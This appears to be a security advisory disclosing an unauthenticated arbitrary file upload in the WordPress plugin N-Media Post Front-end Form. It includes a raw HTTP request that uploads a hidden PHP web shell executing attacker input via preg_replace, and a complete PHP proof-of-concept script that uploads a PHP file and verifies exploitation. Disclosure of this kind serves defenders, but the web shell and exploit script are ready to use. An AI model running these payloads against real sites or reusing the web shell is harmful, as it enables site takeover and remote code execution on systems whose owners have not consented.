N-Media Post Front-end Form [Unauthenticated Arbitrary File Upload]

Description

Update 2016-09-20: This was disclosed here. It seems like the author of the plugin haven’t responded yet regarding this vulnerability.

This vulnerability is related to WooCommerce Product Addons [Unauthenticated Arbitrary File Upload] (DWF-2016-87130). They both use the same so called NM_Framwork framework, they are from the same author and both have an insecure implementation of the file upload functionality.

Method 1

Plugin registers a number of AJAX actions but it fails to sufficiently implement security controls in the callback functions. Additionally all AJAX actions are available to non-registered users. This allows a malicious user to perform various plugin actions almost without any restriction.

Those actions are defined in the \NM_Framwork_V1::$ajax_callbacks property, setted in \NM_PLUGIN_PostFront::__construct() and they include:

  • Updating plugin options
  • Uploading files
  • Saving new posts

The most severe is the uploading files action. This action calls the method \NM_PLUGIN_PostFront::upload_file() which does not implement any security controls.

Method 2

Uploading files as an unauthenticated user is also possible if the attacker calls the script wp-content/plugins/wp-post-frontend/js/plupload-2.1.2/examples/upload.php. This script is a leftover from the library plupload and it seems that this is actively exploited in the wild. For this script to work the PHP env var upload_tmp_dir must be set and it has to point to a location readable and writable by the user that executes the script. In many systems this var is empty by default so the aforementioned script will try to create a dir in system root folder so normally will fail.

In the case which this var is set and pointing to readable-writable dir then a request like the next one will upload a file in the vulnerable webserver.

POST /wp-content/plugins/wp-post-frontend/js/plupload-2.1.2/examples/upload.php HTTP/1.1
Connection: close
Cache-Control: max-age=259200
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: */*
Accept-Encoding: gzip, deflate
Host: [HOST]
Content-Type: multipart/form-data; boundary=b68f545166fc4410a70dea7b2e10d27d
Content-Length: 397

--b68f545166fc4410a70dea7b2e10d27d
Content-Disposition: form-data; name="name"

wp-classes.php
--b68f545166fc4410a70dea7b2e10d27d
Content-Disposition: form-data; name="file"; filename="wp-classes.php"
Content-Type: image/gif
Expires: 0

<?php if (!isset($_REQUEST['e44e'])) header("HTTP/1.0 404 Not Found"); @preg_replace('/(.*)/e', @$_REQUEST['e44e'], ''); ?>
--b68f545166fc4410a70dea7b2e10d27d--

Yet this file will be under upload_tmp_dir and other techniques, like directory traversal, might have to be introduced in order for the attacker to access the uploaded file.

PoC

#!/usr/bin/env php
<?php
/*******************************************************************************
 * N-Media Post Front-end Form [Unauthenticated Arbitrary File Upload]
 *
 * Author: Panagiotis Vagenas <pan.vagenas@gmail.com>
 * To install deps run `composer install`
 ******************************************************************************/

require_once 'vendor/autoload.php';

use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\ExitCodes;
use Wordfence\ExKit\Request;

$url = Config::get( 'url.base', null, true, 'Enter the site URL' );

if ( ! $url ) {
    Cli::writeError( 'You must enter a valid URL' );
    exit( ExitCodes::EXIT_CODE_FAILED_PRECONDITION );
}

$fileName = uniqid() . '.php5';
$identifier = uniqid();

$postData = [
    'action' => 'nm_postfront_upload_file',
    'name' => $fileName
];

Cli::writeInfo('Sending payload...');
$s = new \Wordfence\ExKit\Session();
//$s->XDebugOn();
$r = $s->upload( Endpoint::adminAjaxURL(),
    $postData,
    [
        'file' => [
            'fileContents' => "<?php echo '{$identifier}';",
            'fileName'     => $fileName,
            'contentType'  => 'image/png',
        ],
    ] );


$rJson = @json_decode($r->body);

if(!isset($rJson->file_name)){
    ExitCodes::exitWithFailed('Upload failed');
}

Cli::writeInfo('Verifying exploit...');

$uploadsPath = Endpoint::uploadsURL().'/post_files/'.$rJson->file_name;

$r = Request::get($uploadsPath);

if(!$r->success || $r->body != $identifier){
    ExitCodes::exitWithFailed('Verification failed');
}

ExitCodes::exitWithSuccess('Exploitation successful');

INFO
GKxtL3WcoJHtnKZtqTuuqPOiMvOwqKWco3AcqUxX